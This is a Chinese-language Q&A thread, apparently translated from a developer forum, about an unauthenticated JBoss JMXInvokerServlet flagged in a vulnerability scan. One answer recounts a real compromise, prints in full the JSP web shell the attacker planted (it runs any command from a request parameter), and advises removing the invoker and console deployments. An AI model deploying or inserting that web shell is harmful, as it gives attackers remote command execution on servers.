Java Apache Tomcat/JBoss EJBInvokerServlet/JMXInvokerServlet(HTTP上的RMI)封送对象远程代码执行

Java Apache Tomcat/JBoss EJBInvokerServlet/JMXInvokerServlet(HTTP上的RMI)封送对象远程代码执行,java,tomcat,jboss,Java,Tomcat,Jboss,在测试期间,我们执行了漏洞扫描,并确定了一个Jboss服务器,该服务器不需要对JMXInvokerSerlet进行身份验证。 我没有完全理解这个问题。是Jboss问题还是servlet问题 如果有人能帮我,请告诉我解决办法 问题是什么?有什么解决办法? 提前谢谢你我最近在VPS上遇到了这个问题 我安装了JBoss(版本4.2.3),任何人都可以访问web控制台和调用程序。发生的事情是,有人利用了这一点,在我的Jboss安装中使用了一个现有的JSP web shell JSP Web Shell基

在测试期间,我们执行了漏洞扫描,并确定了一个Jboss服务器,该服务器不需要对JMXInvokerSerlet进行身份验证。 我没有完全理解这个问题。是Jboss问题还是servlet问题

如果有人能帮我,请告诉我解决办法

问题是什么?有什么解决办法?
提前谢谢你

我最近在VPS上遇到了这个问题

我安装了JBoss(版本4.2.3),任何人都可以访问web控制台和调用程序。发生的事情是,有人利用了这一点,在我的Jboss安装中使用了一个现有的JSP web shell

JSP Web Shell基本上是这样的:

    <%@ page import="java.util.*,java.io.*"%>
    <%
    String cmd;
    String[] cmdarr;
    String OS = System.getProperty("os.name");
    if (request.getParameter("cmd") != null) {
        cmd = new String (request.getParameter("cmd"));
      if (OS.startsWith("Windows")) {
       cmdarr = new String [] {"cmd", "/C", cmd};
      }
      else {
       cmdarr = new String [] {"/bin/sh", "-c", cmd};
      }
      Process p = Runtime.getRuntime().exec(cmdarr);
      OutputStream os = p.getOutputStream();
      InputStream in = p.getInputStream();
      DataInputStream dis = new DataInputStream(in);
      String disr = dis.readLine();
      while ( disr != null ) {
        out.println(disr);
        disr = dis.readLine();
      }
    }
%>

这使得攻击者基本上可以直接从浏览器执行操作系统命令。在我的例子中,我的VPS被用来挖掘比特币,在wget获取一个Perl脚本之后,它看起来像是另一种类型的控制台

惨痛的教训:(所以,如果你还没有做任何事情,请做

我只是删除了HttpInvoker和WebConsole/JMX控制台的部署,因为我不需要它们

希望有帮助